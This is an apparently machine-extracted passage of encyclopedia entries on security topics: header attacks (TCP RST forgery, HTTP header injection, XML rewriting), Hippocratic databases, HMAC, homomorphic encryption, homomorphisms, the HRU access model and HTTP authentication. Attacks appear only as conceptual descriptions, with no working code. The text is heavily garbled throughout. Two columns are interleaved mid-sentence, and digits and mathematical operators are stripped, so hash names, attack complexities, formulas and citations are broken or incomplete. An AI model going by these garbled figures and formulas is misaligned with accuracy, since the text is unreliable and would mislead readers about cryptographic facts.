tual connection is required. It is an efficient way of reliably security requirements, a Web Service Security specifica-
exchanging big amounts of data between distant comput- tion emerged and, in order to ensure authenticity as well
ers. A flag of the TCP header, the reset (RST) flag, is as non-repudiation, a signature mechanism was provided
dedicated to the managing of a remote crash happening based on the XML Digital Signature specification. The
during the exchange. It abruptly terminates a connection, weakness resides in two points. First, the latter specifies
allowing a remote machine to flush its output buffers, and that a message may contain one or more signed elements.
making it discarding further received packets. However Second, an XML Signature allows a non-contiguous object
necessary this mechanism may be, it can be easily per- from an XML dataset to be signed separately. However,
verted: a third-party computer may forge a false RST TCP the signed object is referenced by an indirection that gives
H
packet and send it to the target, tricking it into closing the no information about the actual location of the signed
legitimate connection. The packet must of course contain a element. This may lead to XML rewriting attacks [] in
RST flag, but also other necessary values in order to appear which an object can be relocated and the signature still
genuine. remains valid. These rewriting attacks may have many seri-
This is an example of a header attack exploiting a proto- ous consequences: a SOAP message may be successfully
col vulnerability at the transport level. However, with the replayed in different contexts, a transparent redirection
growing number of application-level protocols using the toward a third party malicious Web Service may be made,
same header mechanisms, this kind of attack can also be timestamp elements may be circumvented, etc.
implemented with application-level communication. As Web Services and other application-level
infrastrucures are probably destined to become major
Header Attacks at the Application Layer actors of future global information landscapes, header
Level attacks must be taken into account very seriously. Fos-
Applications relying on remote data exchange to work tered initially by technical choices made long ago, they
also rely on the separation between SDI and PCI. For continue to be on the agenda as more modern protocols
all practical purposes, the application data as represented are devised.
on Fig. can itself be divided into Application SDI
and Application PCI. Thus, when no authentication Applications
mechanism is implemented, the application is vulnera- The possible consequences of this class of attacks are
ble to header attacks targeting this application-level SDI. numerous. As seen with application-based header attacks,
Among the many recent Web-oriented applications and these offensives may lead to arbitrary redirections, data
application-level protocols, HTTP and SOAP (Simple modification or access, and privilege escalation.
Object Access Protocol) are two enlightening examples of When put in place at low-level layers, they may help
easy-to-implement header attacks. implement identity theft, bypass filtering tools by allow-
In the case of HTTP, HTTP header injections are a ing hidden communication channels, denial of service [],
class of attacks relying on the dynamic generation of HTTP and even utterly sever the connection between remote
headers based on user input. When the application envi- computers.
ronment is unable to properly sanitize the strings that
users are feeding to it, carefully chosen strings may lead Recommended Reading
it to turn data into valid commands or markup language . Braden R (ed) () Request for comments #: requirements
for internet hosts communication layers. Internet Engineering
excerpts. An attacker can then escape the data context and
Task Force, Network Working Group
penetrate the surrounding framework. Once this is done, . Marlinspike M () More tricks for defeating SSL. In: Proceed-
many doors are open that may lead to cross-site script- ings of the technical security conference, Las Vegas. http://
ing [] (allowing, for example, to bypass access control), www.blackhat.com/html/bh- usa- /bh- usa- - archives.html
H HEC Acronym is Often Used for Hyper Elliptic Curves
. Martin M, Lam MS () Automatic generation of XSS and Denition

SQL injection attacks with goal-directed model checking. In: A database system that has privacy (enablement) as its
Seventeenth USENIX security symposium, San Jose
fundamental goal.
. Rassadko N () Policy classes and query rewriting algorithm
for XML security views. In: Damiani E, Liu P (eds) Data and appli-
cations security. Lecture Notes in Computer Science, vol . Background
Springer, Heidelberg
The term Hippocratic Database (HDB for short) was
. Shields C () What do we mean by network denial of ser-
vice? In: Proceedings of the IEEE workshop on information coined in in a paper by Agrawal, Kiernan, Srikant,
assurance and security, West Point, June and Xu at the Very Large Databases (VLDB) conference [].
They observed that technology trends, including the World
Wide Web, were leading to a marked increase in electronic
collection and storage of private and personal informa-
HEC Acronym is Often Used for tion. The HDB vision (Fig. ) provided insight into a new
class of data systems one that required the redesign of
Hyper Elliptic Curves current systems and that enabled the data system to auto-
matically manage sensitive information without impeding
Hyperelliptic Curves
information flow.
Theory
Heredity HDB is inspired by the privacy provision of the Hippo-
cratic Oath, which states that:
DNA
. . . about whatever I may see or hear in treatment, or even
without treatment, in the life of human beings things that
should not ever be blurted outside I will remain silent,
High Assurance Evaluation holding such things to be unutterable [].
Methods
Formal Methods in Certification and Evaluation HDB was not intended to be a fixed technology set. Instead,
it expressed a vision for a class of database systems, tools,
and applications that are designed with the primary goal
of storing and managing personal and private data. In
Higher Order Derivative Attack [], they outlined ten key principles that should be incor-
porated into the design of future database systems. The
Cube Attack following represents our interpretation of these ten princi-
ples, and examples of instances where the principles have
been applied.
Hippocratic Database . Purpose Specification: When personal information is
collected, the purpose(s) for which the data is col-
Tyrone Grandison , Kristen LeFevre lected should be permanently associated with that in
formation. For example, if an individuals address is
Intelligent Information Systems, IBM Services Research,
Hawthorne, NY, USA collected for the purposes of shipping an order, this
information should be maintained by default (e.g., as a
Department of Electrical Engineering and Computer
Science, University of Michigan, Ann Arbor, MI, USA form of meta data). This principle has been applied, for
example, in the development of purpose based access
control [, ].
Synonyms . Consent: Similarly, the user should provide consent
Privacy-aware database; Privacy-enabled database for each purpose for which her data is collected. For
example, if the users address is collected for the pur-
Related Concepts pose of shipping, then additional consent should be
Data Retention obtained before using this information for another
Hippocratic Database H
Privacy Data Queries Retention Offline

policy collection tools
Privacy Attribute Data

constraint access collection
Privacy
validator control analyzer
metadata Data
creator retention
Data Query manager Query
accuracy intrusion intrusion
analyzer detector model
Audit Audit
info info
Privacy Record Encryption

Audit access
metadata Store support
trail control
Hippocratic Database. Fig. The vision of a Hippocratic Database (Diagram from [])
purpose. Several techniques for enabling database . Limited Retention: Personal data should not be retained
consent management have been proposed [, ]. This beyond the period necessary for fulfilling the pur-
issue is likely to persist as the debate over enabling the pose(s) for which it was collected. From a technical
secondary use of data gains prominence, especially in perspective, securely deleting data from a database can
sectors like health care. be a nontrivial task [, ]; it is important to guarantee
. Limited Collection: The personal data collected should that the data is securely removed from all parts of the
be the minimum necessary for the required tasks []. system.
. Limited Use: Similar to consent, personal data should . Accuracy: Personal data stored in the database should
only be used for the purpose for which it was col- be accurate and up to date. Individuals should have the
lected. Ideas on enforcing limited use are emerging in opportunity to correct inaccuracies.
the field. For example, Angela C. Duta and Ken Barker . Safety: This principle is most closely connected to con-
[] provide an example of how it could be done for ventional notions of security. Essentially, data stored in
XML data. the database should be protected from theft and other
. Limited Disclosure: Personal information should not security vulnerabilities.
be communicated outside the database for purposes . Openness: Related to accuracy and compliance, an indi-
other than those for which there is consent. From a vidual should be able to access his or her personal data
technical perspective, this is one of the more heav- stored in the database. The idea of openness can also
ily studied principles. Interestingly, the idea of lim- be interpreted to include the idea that an individual
ited disclosure can be interpreted in two distinct should be able to find out how her data has been used
ways. On one hand, it can be interpreted literally (e.g., []).
(i.e., as a form of access control [, ]). Alternatively, . Compliance: An individual who contributes personal
the idea of limited disclosure can also be equated data to a database should be able to verify all of the above
with statistical disclosure prevention [], in which principles. From a regulatory perspective, an autho-
personal data can be used for computing aggregate rized auditor should also be able to verify compliance
statistics, as long as the underlying data cannot be with legal regulations pertaining to data use [], e.g.,
inferred. HIPAA, Sarbanes-Oxley, etc.
H Hippocratic Database
Applications provenance of information can also provide an indica-

HDB was initially applied to SQL (Structured Query Lan- tion of the reliability of the information.
guage) statements in the context of relational databases.
Further work has implemented HDB for non-relational Recommended Reading
systems and to DML (Data Manipulation Language) state- . Agrawal R, Kiernan J, Srikant R, Xu Y () Hippocratic
ments. The technology has been prototyped in the Health databases. In: Proceedings of the international conference on
Care, Finance, Government, and Scientific Research very large data bases (VLDB), Hong Kong,
. Von Staden H (trans) () In a pure and holy way: personal
domains.
and professional conduct in the hippocratic oath. J His Med Appl
Sci :
. Byun J-W, Bertino E, Li N () Purpose based access control
Open Problems for complex data for privacy protection. In: Proceedings of the
. Improved Policy Specification For HDB controls ACM symposium on access control models and technologies.
ACM press, New York, pp
to be completely effective, policies must accurately
. Ghazinour K, Majedi M, Barker K () A lattice-based privacy
capture the data usage practices of enterprises and aware access control model. In: Proceedings of the inter-
the preference and choices of individuals concern- national conference on computational science and engineering.
ing the use and disclosure of their personal informa- IEEE Computer Society, Washington, DC, pp
tion. The policy language must be fine grained enough . Al-Fedaghi S () Beyond purpose-based privacy access con-
trol. In: Proceedings of the th Australasian database confer-
to allow enterprises to collect, use, and disclose the
ence, Ballarat, Australia, January February ,
minimum necessary information to accomplish their . LeFevre K, Agrawal R, Ercegovac V, Ramakrishnan R, Xu Y,
intended purposes. It must also be simple enough DeWitt D () Limiting disclosure in Hippocratic Database.
that technically unsophisticated individuals can under- In: Proceedings of the international conference on very large
stand the consequences of their decisions to provide data bases (VLDB), Toronto,
. Agrawal R, Bird P, Grandison T, Kiernan J, Logan S, Rjaibi W
personal information.
() Extending relational database systems to automatically
. Enforcement After Extraction Current implementa- enforce privacy policies. In: Proceedings of the st interna-
tions of HDB are adept at limiting disclosure of infor- tional conference on data engineering, Tokyo,
mation contained within the database, but does not . Crpin L, Vercouter L, Jaquenet F, Demazeau Y, Boissier O
exert any control or safeguards over information that () Hippocratic multi-agent systems. In: Proceedings of the
th international conference of enterprise information systems
is legitimately extracted and transferred outside of the
(ICEIS), Springer, Barcelona, pp
database. . Duta AC, Barker K () PA: a new privacy model for XML.
. Filter and Deny Semantics HDB policy enforcement In: Proceedings of the data and applications security XXII.
uses query predicates to filter results in compliance Springer, pp
with the applicable policy rules. The system transforms . Dwork C () Differential privacy. In: Proceedings of
rd international colloquium on automata, languages and
the query so that the database only returns informa-
programming, http://research.microsoft.com/en-us/projects/
tion that is compliant with the users authorization, the databaseprivacy/dwork.pdf, pp
enterprises privacy policy, and any individual choices. . Adam N, Wortmann J () Security-control methods for sta-
Prohibited values that are sought by the query are tistical databases: a comparative study. ACM Comput Surv
returned as null values. However, in some circum- ():
. Chen B-C, Kifer D, LeFevre K, Machanavajjhala A ()
stances, this type of filtering may not be desirable
Privacy-preserving data publishing. Found Trends Databases
because it may mislead the user into thinking that the ():
prohibited values do not actually exist. . Stahlberg P, Miklau G, Levine B () Threats to privacy in
. Query Intrusion Detection It is desirable to have the forensic analysis for database systems. In: Proceedings of
the ability to detect illegitimate access by comparing a the ACM SIGMOD international conference on management of
data, Beijing,
query access pattern to the usual and expected access
. Ananthanarayanan R, Gupta A, Mohania M () Towards
pattern for that particular user and purpose. This capa- automated privacy compliance in the information Life cycle.
bility advances the HDB safety principle by preventing In: Proceedings of the IFIP advances in web semantics,
inappropriate access through legitimate channels. pp
. Data Integrity An HDB system should provide guar- . Agrawal R, Bayardo R, Faloutsos C, Kiernan J, Rantzau R,
Srikant R () Auditing compliance in a Hippocratic
antees on the soundness of the data that it contains. Indi-
Database. In: Proceedings of the international conference on
viduals should have access to view and verify the accu- very large data bases (VLDB), Toronto,
racy of their information. Data cleansing can be used . Agrawal R, Evfimievski A, Kiernan J, Velu R () Auditing
to identify and correct erroneous data. Maintaining the disclosure by relevance ranking. In: Proceedings of the ACM
HMAC H
SIGMOD international conference on management of data, n-bit strings (obtained by repeating the hexadecimal val-
Beijing, ues 36x and 5cx , respectively). The resulting MAC
. Motwani R, Nabar S, Thomas D () Auditing SQL queries. In:
value can (optionally) be truncated. In practice, one can
Proceedings of the international conference on data engineering
(ICDE), Istanbul,
apply the compression function f of the hash function to
. Johnson CM, Grandison T () Compliance with data protec- the strings K ipad and K opad, respectively, and store
tion laws using Hippocratic Database active enforcement and the resulting values as initial values for the inner and outer
auditing. IBM Syst J (): hashing operations. This will reduce the number of oper-
ations of the compression function by two. HMAC offers
the advantage that it can be implemented without making
any modification to the code of the hash function itself.
History-Based Separation of A variant of HMAC is NMAC: NMAC replaces the ini-
Duties tial value (IV) of the hash function by a secret key. Denote
by hK a hash function with the IV replaced by the key K,
Separation of Duties
then
NMACK K (x) = hK (hK (x)) .
HMAC Bellare has improved the original security reduction
of []; in [] he showed that NMAC is a pseudo-random
H
Bart Preneel function and thus a secure MAC algorithm if the com-
Department of Electrical Engineering-ESAT/COSIC, pression function is a pseudo-random function; for the
Katholieke Universiteit Leuven and IBBT, security proof of HMAC with a single key as described
Leuven-Heverlee, Belgium above, pseudo-randomness under a related key attack is
required. For NMAC the conditions can be further relaxed.
Synonyms The best known generic attack on HMAC/NMAC is a
Hash-based message authentication code forgery attack based on internal collisions []: it requires
n/ known text-MAC pairs (and a similar number of cho-
Related Concepts sen texts if truncation is applied) and a single chosen text.
Hash Functions; MAC Algorithms A generic key recovery attack requires n/ known text-
MAC pairs and n+ time, hence it is only meaningful for
Denition NMAC and for variants of HMAC that would use two
HMAC is a MAC algorithm that is computed by two calls different keys.
to a hash function; the calls have the secret key of the It turns out that the widely used hash functions MD,
MAC algorithm as part of the data input. MD, and SHA- have weaknesses that result in more
efficient attacks; the number of known or chosen text-
Background MAC pairs is indicated as the data complexity. For HMAC-
HMAC was designed by Bellare, Canetti, and Krawczyk [] MD and NMAC-MD, the following attacks are known:
in . The HMAC construction became popular because a forgery attack with data complexity [] (compared to
in the mid to late s no secure and efficient custom for a generic attack), and key recovery attacks with data
designed MAC algorithms were available and hash func- complexity and time complexity [] and data com-
tions (such as MD) offered a much better software per- plexity and time complexity []. For NMAC-MD,
formance than block ciphers; as an example, HMAC based a forgery attack is known with data complexity ; in the
on MD is about ten times faster than CBC-MAC based related key model, key recovery attacks exist with data
on DES. complexity and time complexity [, ] and with
data complexity and time complexity []; extending
Theory these attacks to HMAC is non-trivial. For HMAC-SHA-
HMAC is constructed starting from an iterated hash func- and NMAC-SHA- reduced to out of steps, a forgery
tion h that processes inputs in blocks of n bits: with data complexity exists; a (partial) key recovery
attack has been found for out of steps with a data
HMACK (x) = h((K opad)h((K ipad)x)) .
complexity of . []. Results are also known in a dif-
Here K is the key of the MAC algorithm (padded with ferent attack model, in which one attempts to distinguish
zeroes to a block of n bits) and opad and ipad are constant HMAC/NMAC based on a particular hash function from
H Homomorphic Encryption
HMAC/NMAC based on a hash function with an ideal . Preneel B, van Oorschot PC () MDx-MAC and building fast
compression function [, ]. MACs from hash functions. In: Coppersmith D (ed) Advances
in cryptology CRYPTO : proceedings, Santa Barbara,
August . Lecture notes in computer science, vol .
Applications Springer, Berlin, pp
HMAC has been included in ISO/IEC - [] and in . Rechberger C, Rijmen V () On authentication with HMAC
and non-random properties. In: Dietrich S, Dhamija R (eds)
FIPS []. It is also widely used on the Internet after
Financial cryptography and data security. Lecture notes in com-
its standardization in RFC []: HMAC-SHA- with a puter science, vol . Springer, Berlin, pp . Full version
-bit key and a truncation to bits is the mandatory http://eprint.iacr.org//
algorithm for providing message authentication at the net- . Wang L, Ohta K, Kunihiro N () New key-recovery attacks
work layer (IPsec), and HMAC-MD is optional. TLS on HMAC/NMAC-MD and NMAC-MD. In: Smart NP (ed)
Advances in cryptology EUROCRYPT : proceedings, Istan-
also uses both algorithms.
bul, April . Lecture notes in computer science, vol
As AES implementations are faster than SHA- and . Springer, Berlin, pp
SHA-, HMAC no longer has a performance advantage;
it is unclear whether this will change because of the AHS
competition (SHA-). A limitation of AES-based MAC
algorithms is that forgery attacks exist with data com- Homomorphic Encryption
plexity of , while for HMAC-SHA- the best known
forgery attack has data complexity ; for HMAC-SHA- Berry Schoenmakers
the security level is at least . Department of Mathematics and Computer Science,
Technische Universiteit Eindhoven, Eindhoven,
Recommended Reading The Netherlands
. Bellare M () New proofs for new proofs for NMAC and
HMAC: security without collision-resistance. In: Dwork C (ed) Related Concepts
Advances in cryptology CRYPTO : proceedings, Santa Bar- Threshold Homomorphic Cryptosystems
bara, August . Lecture notes in computer science, vol
. Springer, Berlin, pp . Full version http://eprint.iacr. Denition
org//
An encryption mechanism E is called homomorphic basi-
. Bellare M, Canetti R, Krawczyk H () Keying hash func-
tions for message authentication. In: Koblitz N (ed) Advances
cally if it preserves certain algebraic structure between the
in cryptology CRYPTO : proceedings, Santa Barbara, plaintext space and the ciphertext space, where the encryp-
August . Lecture notes in computer science, vol . tion key is fixed. For example, if the product of any two
Springer, Berlin, pp . Full version http://www.cs.ucsd.edu/ ciphertexts is equal to a ciphertext of the sum of the two
users/mihir/papers/hmac.html
corresponding plaintexts: E(m ) E(m ) = E(m + m ),
. Contini S, Yin YL () Forgery and partial key-recovery
attacks on HMAC and NMAC using hash collisions. In: Lai X,
where it is understood that all these encryptions use the
Chen K (eds) Advances in cryptology ASIACRYPT : pro- same key.
ceedings, Shanghai, December . Lecture notes in com-
puter science, vol . Springer, Berlin, pp Background
. FIPS () The keyed-hash message authentication code Homomorphic properties are natural for number-theoretic
(HMAC). NIST, US Department of Commerce, Washington DC,
public key cryptosystems like ElGamal, Paillier, and also
Gaithersburg
. Fouque P-A, Leurent G, Nguyen PQ () Full key-
plain RSA. Homomorphic cryptosystems are routinely
recovery attacks on HMAC/NMAC-MD and NMAC-MD. In: used in the design of privacy-protecting cryptographic
Menezes A (ed) Advances in cryptology CRYPTO : pro- schemes, such as secret ballot election schemes and sealed
ceedings, Santa Barbara, August . Lecture notes in bid auction schemes. A typical use is to compute a random
re-encryption c = E(m, r ) of a given probabilistic encryp-
. ISO/IEC () Information technology Security tech-
niques Message Authentication Codes (MACs), Part : Mech-
tion c = E(m, r) such that ciphertexts c and c contain
anisms using a dedicated hash-function the same plaintext m, but the randomness r is statistically
. Kim J, Biryukov A, Preneel B, Hong S () On the security of independent of r. By presenting two re-encrypted cipher-
HMAC and NMAC based on HAVAL, MD, MD, SHA- and texts in random order one cannot tell which one is which
SHA-. In: De Prisco R, Yung M (eds) Security and cryptography
even with access to the original ciphertexts.
for networks (SCN ), Maiori, September . Lecture
Homomorphic cryptosystems are secure against pas-
. Krawczyk H, Bellare M, Canetti R () HMAC: keyed-hashing sive attacks (chosen-plaintext attacks), hence satisfy com-
for message authentication. RFC , February putational indistinguishability. No security against active
Homomorphic Encryption H
attacks (adaptive chosen-ciphertext attacks) is provided, as encrypted values, which implies that any computable func-
homomorphic encryptions are trivially malleable. tion can be evaluated on encrypted values solely with
knowledge of the public key. So, given an n-ary function
Theory f and ciphertexts E(x ), . . . , E(xn ), one is able to compute
Notions of homomorphic encryption often correspond efficiently (i.e., in polynomial time in a security parameter)
directly to mathematical notions of homomorphism, a ciphertext E( f (x , . . . , xn )). The existence of fully homo-
which are mappings that preserve certain algebraic struc- morphic encryption had been open for a long time until
ture. For instance, when encryption E : M C (for a Gentry presented a lattice-based construction in [],
fixed key) is viewed as a function and both the plaintext building on the progress in lattice-based cryptography
space M and the ciphertext space C are endowed with a since the AjtaiDwork public key cryptosystem appeared
group structure, E is homomorphic if it is a group homo- in []. A conceptually simple fully homomorphic
morphism from M to C. More generally, for probabilistic cryptosystem, working over the integers, was introduced
encryption E : M R C, the randomness space R should subsequently [].
be endowed with a group structure as well, such that E
is a group homomorphism from the direct product group Applications
M R to C. Homomorphic properties of public-key cryptosystems
The well-known cryptosystems RSA, ElGamal, and were recognized early on in the late s, as well as the H
Paillier are homomorphic in the following sense. Plain potential use for advanced privacy protection []. Homo-
RSA encryption is multiplicatively homomorphic as for morphic encryption can be used to construct fundamental
any m , m Zn : primitives such as oblivious transfer, and is often used as
a building block in secure multiparty computation, par-
(me mod n) (me mod n) = (m m )e mod n. ticularly in the two-party case. Homomorphic encryption
Similarly, ElGamal encryption is multiplicatively homo- is combined with threshold cryptography to yield thresh-
morphic as for any m , m g: old homomorphic cryptosystems, which are used in the
construction of practical solutions for electronic elections,
r r r r r +r r +r
(g , y m ) (g , y m ) = (g ,y m m ), starting with [].
More generally, secure multiparty computation for any
where r , r R Zq with q = ord(g). Finally, Pail- (computable) function f can be based on threshold homo-
lier encryption is additively homomorphic as for any m , morphic cryptosystems [, ] by securely evaluating a
m Z n :
circuit representing f . These general solutions require
(g m rn mod n ) (g m rn mod n ) = (g m +m (r r )n mod n ), interaction between the parties for every secure multipli-
cation gate assuming an additively homomorphic cryp-
where r , r R Zn . tosystem is used. Using fully homomorphic encryption
Many more homomorphic cryptosystems have been these interactions can be eliminated, providing a basic
introduced in the literature. GoldwasserMicali encryp- solution to the problem of noninteractive secure compu-
tion is based on quadratic residues and is XOR-homomor tation, once combined with threshold cryptography.
phic []; this was extended in [] to higher-order residues.
The additively homomorphic variant of ElGamal [] Recommended Reading
is often used instead of multiplicatively homomorphic . Ajtai M, Dwork C () A public-key cryptosystem with worst-
ElGamal. Generalizations of Pailliers cryptosystem are case/average-case equivalence. In: Proc. th symposium on
additively homomorphic over a plaintext space of flexi- theory of computing (STOC ), ACM, New York, pp
ble size []. Also, pairing-based homomorphic encryption . Boneh D, Goh EJ, Nissim K () Evaluating -DNF formulas
on ciphertexts. In: Proc. nd theory of cryptography conference
schemes were introduced [], and these schemes are not
(TCC ), vol . LNCS, Springer, Berlin, p
just additively homomorphic but at the same time multi- . Cohen J, Fischer M () A robust and verifiable cryptographi-
plicatively homomorphic to a limited degree. cally secure election scheme. In: Proc. th IEEE symposium on
Fully homomorphic encryption is a strictly more pow- foundations of computer science (FOCS ), IEEE Computer
erful type of homomorphic encryption, which relates to Society, pp
. Cramer R, Damgrd I, Nielsen JB () Multiparty computa-
the mathematical notion of a ring homomorphism. A finite
tion from threshold homomorphic encryption. In: Advances in
ring, and in particular a finite field, involves two opera- cryptology EUROCRYPT , vol . LNCS, Springer, Berlin,
tions like addition and multiplication. Fully homomorphic pp . Full version eprint.iacr.org//, October ,
encryption facilitates both addition and multiplication of
H Homomorphism
. Cramer R, Gennaro R, Schoenmakers B () A secure and opti- Here, the sets and the operations are different between the
mally efficient multi-authority election scheme. In: Advances in two sides: S is the group of integers modulo p under
cryptology EUROCRYPT , vol . LNCS, Springer, Berlin,
addition, and T is the subgroup of the multiplicative group
pp
. Damgrd I, Jurik M () A generalisation, a simplification and
modulo p generated by g.
some applications of Pailliers probabilistic public-key system. Ring homomorphisms that respect the structure of
In: Public key cryptography PKC , vol . LNCS, Springer, two operations may be defined similarly.
Berlin, pp If the mapping f has an inverse g such that g is a
. van Dijk M, Gentry C, Halevi S, Vaikuntanathan V ()
homomorphism from T to S, then f is said to be an
Fully homomorphic encryption over the integers. In: Advances
in cryptology EUROCRYPT , vol . LNCS, Springer,
isomorphism.
Berlin, p
. Franklin M, Haber S () Joint encryption and message-
efficient secure computation. J Cryptol ():
Applications
. Gentry C () Fully homomorphic encryption using ideal lat- Homomorphisms are important in cryptography since
tices. In: Proc. st symposium on theory of computing (STOC they preserve relationships between elements across a
), ACM, New York, p transformation such as encryption. Sometimes the struc-
. Goldwasser S, Micali S () Probabilistic encryption. J Com ture enables additional security features (as in blind sig-
Syst Sci ():
natures), and other times it enables additional attacks (e.g.,
. Rivest R, Adleman L, Dertouzos M () On data banks and pri-
vacy homomorphisms. In: Foundations of secure computation, Bleichenbachers attack on an unprotected form of RSA
Academic Press, pp encryption []).
Recommended Reading
. Bleichenbacher D () Chosen ciphertext attacks against proto-
Homomorphism cols based on RSA encryption standard PKCS #". In: Krawczyk H
(ed) Advances in cryptology CRYPTO . Lecture notes in
Burt Kaliski
MA, USA
HRU
Related Concepts
Group; Homomorphic Encryption; Ring Vijay Alturi
Management Science and Information Systems
Denition Department, Center for Information Management,
A homomorphism is a mapping between two groups that Integration and Connectivity, Rutgers University,
respects the group structure. Newark, NJ, USA
Theory
Let (S, ) and (T, ) be two groups, and let f be a mapping Related Concepts
from S to T. The mapping f is a homomorphism if, for all Access Control Policies, Models, and Mechanisms;
x, y S, Access Matrix

f (x y) = f (x) f (y).
As an example, the mapping f (x) = xe mod n in RSA Background
public-key encryption is a homomorphism since The security model proposed by Harrison, Ruzzo, and
Ullman (HRU) [] is a discretionary access control model.
f (xy) (xy)e f (x)f (y)(mod n). In HRU, the current set of access rights at any given time
can be represented by a matrix, with one row for each
In this case, the sets S and T and the operations and are
subject and one column for each subject and object (all
the same.
subjects are also objects). Each cell in the table contains
Another homomorphism is the mapping f (x) = g x
the list of access rights that the specific subject has for the
mod p related to the discrete logarithm problem:
particular object. In addition, HRU defines a primitive set
f (x + y) f (x)f (y)(mod p). of operations that can be performed.
HRU H
Denition Definition A state, that is, an access matrix M, is said to

The components of the HRU Model include: leak the right r if there exists a command c that adds the
right r into an entry in the access matrix that previously
A set of subjects S did not contain r. More formally, there exist s and o such
A set of objects O
that r Mso , and after the execution of c, r Mso .
A set of access rights R
An access matrix M = (Mso )s S, o O, the entry Mso Definition Given a protection system and a right r, the
is the subset of R specifying the rights subject s has on initial configuration Q is said to be unsafe for r (or leaks r)
object o if there is a configuration Q and a command such that Q
is reachable from Q and leaks r from Q. Q is said to be
The protection system is represented as a state machine safe for r if Q is not unsafe for r.
where each state is defined as a triple triple (S, O, M). States The above definition states that a state of a protection
are changed by altering the access matrix M. Change of the system, that is, its matrix M, is said to be safe with respect
protection system is modeled by the following six primitive to the right r if no sequence of commands can transform
operations: M into a state that leaks r.
Enter r into Mso Safety is undecidable in the general HRU model, which
Delete r from Mso can be stated formally by the following theorem.
Create subject s H
Create object o Theorem Given an access matrix M and a right r, ver-
Destroy subject s ifying the safety of M with respect to r is an undecidable
Destroy object o problem.
The proof is based on mapping the safety problem to
Commands in the HRU model have the format:
the halting problem of a Turing machine. Turing machines
are general models of computing devices, expressed as
command c(x , . . . , xk )
a machine reading a tape that has a string of zeros and
if r in Ms ,o and
ones. The safety problem can be mapped to the problem
if r in Ms ,o and
of whether the Turing machine will ever halt when read-
...
ing commands from the tape. Several decidable results
...
about Turing machines are well known, including one that
...
shows it is impossible to develop a general procedure to
if rm in Ms m ,om
determine whether a given Turing machine will halt when
then op , . . . , opn
performing a given computation. The proof of the above
end
theorem follows by the demonstration that a decision pro-
cedure for protection systems would also solve the halt-
In the above command, s , . . . , sm and o , . . . , om are
ing problem for Turing machines, which is known to be
subjects and objects, respectively, that appear in the param-
unsolvable.
eter list c(x , . . . , xk ). The condition part of the command
However, it has been proven that some restrictive cases
checks whether particular access rights are present; the list
have decidable safety results. These include: () Safety for
of conditions can be empty. If all conditions hold, then the
mono-operational systems is decidable but NP-Complete,
sequence of operations is executed. Each command con-
and () Mono-conditional monotonic HRU is decidable.
tains at least one operation. Commands containing exactly
one operation are said to be mono-operational commands,
and those containing exactly one condition are said to be
Applications
This work has influenced the development of practical
mono-conditional.
models and the analysis of several theoretical models
developed subsequently.
Theory
Safety analysis was first formalized in the HRU model. The Open Problems and Future Directions
safety question asks Is there an algorithm for determin- The expressive power of a model is a measure of the
ing whether a protection system in some initial state is safe flexibility to express policies for different requirements.
with respect to a right r? This question can be formalized Expressive power and manageable safety analysis are two
by the following two definitions of leakage of a right and conflicting properties of access control models. In general,
unsafe state. the more expressive power a model has, the harder it is
H HTTP Authentication
(if at all possible) to carry out safety analysis. To enhance If the requested ressource has restricted access,
the expressive power of access control models to suit to the server can indicate that HTTP authentication is
the different emerging environments, several extensions required by returning a special status code , which
to the access control model have been proposed in recent means Authentication required. The server also indi-
years. Balancing the expressive power and safety in these cates the type of authentication to be used, by send-
extended access control models is still an open problem. ing the HTTP header line WWW-Authenticate: Basic
to indicate password-based authentication, or WWW-
Recommended Reading Authenticate: Digest together with three additional
. Harrison M, Ruzzo W, Ullman J () Protection in operating parameters (as attribute values), to indicate challenge-and-
systems. Commun ACM () response authentication. These three parameters are the
domain of authentication (to help the client decide the
shared secret to be used), the challenge value (from which
the response will be computed), and a random nonce that
HTTP Authentication will be returned unchanged, to protect against denial-of-
service (DoS) attacks.
Jrg Schwenk If BASIC authentication is requested, the client
Horst Grtz Institute for IT Security, Ruhr University prompts the user to enter a password. This password is sent
Bochum, Bochum, Germany unencrypted (only Base coding is used) to the server.
Thus BASIC authentication should only be used in con-
junction with SSL/TLS to protoect the confidentiality of
Synonyms the password during transport.
HTTP basic authentication; HTTP digest authentication To compute the response in DIGEST authentica-
tion, the client uses the hash function MD on at least
Related Concepts the shared secret and the challenge, and on additional
Challenge-and-Response Protocols; MD; Password parameters (which depend on the different modes of
operation), to compute a message authentication code
Denition (MAC). This MAC is sent back to the server, encoded
Hypertext transfer protocol (HTTP) authentication [] as a string of hexadecimal numbers, as the value of the
is an integration of password-based authentication, and response attribute. The main extension to the stan-
of challenge-and-response-based authentication, into the dard challenge-and-response scheme results from the fact
HTTP []. Both basic concepts are modified to comply that the HTTP protocol is stateless: The server mean-
with the statelessness of the HTTP protocol. while has forgotten the challenge it had sent (to enhance
HTTP perfomance), and thus the challenge has to be
Background returned with the response, together with all other request
HTTP authentication was developed to protect access to parameters.
static Web pages. It does not protect the confidentiality To complete authentication, the server in BASIC
of the data during transport. Although it is still imple- mode simply compares the password (or a hash of it) to
mented in Web browsers and servers, alternative authenti- a value stored in a database, or in a simple text file, and
cation mechanisms (mostly password-based) have gained grants access if the two values match. In DIGEST mode,
in importance. the server has to compute a second MAC based on the
returned parameters, with the only difference that he uses
Applications his locally stored version of the shared secret. Again if the
HTTP communication is based on a simple request two MAC values match, access is granted.
response scheme: The client (the Web browser) sends a
request to the server, which answers with a three-digit Open Problems
status code and additional data. The client request specifies The introduction of dynamic Web pages has triggered a
a HTTP method (mostly GET to retrieve data, and POST change on the server architecture: The single Web server
to send data), and the ressource on the server that should was replaced by multi-tier architectures constisting of
be accessed with this request. HTTP authentication is a Web front end, an application logic, and a database
based on a shared secret between client and server (e.g., server. Since the HTTP connection ends at the Web front
a password). end, HTML forms have replaced HTTP authentication for
HTTP Digest Authentication H
entering passwords: passwords can now be processed by Related Concepts

the application logic, and used to get access to the database. Authentication; Chosen Plaintext Attack; Hash Func-
Authentication based on shared secrets does not scale tions; HTTP; HTTP Authentication; HTTP Basic
well on the Internet: Shared secrets tend to have low Authentication; MD; Replay Attack
entropy (allowing for dictionary attacks), and the same
secrets are used on different links. Public key mechanisms Denition
for authentication therefore gain in importance. The HTTP Digest Authentication is an application-layer,
SSL/TLS protocol has the ability to authenticate clients challenge-response authentication mechanism used by
based on X. certificates; this feature was rarely used HTTP servers and proxies to verify the identity of users
up to now, but is now adapted for modern browser-based requesting access to protected resources.
computing paradigms.
Background
Recommended Reading The first authentication mechanism for HTTP was the
. Hallam-Baker P, Hostetler J, Lawrence S, Leach P, Luotonen A, Basic authentication scheme, defined in RFC (Hyper-
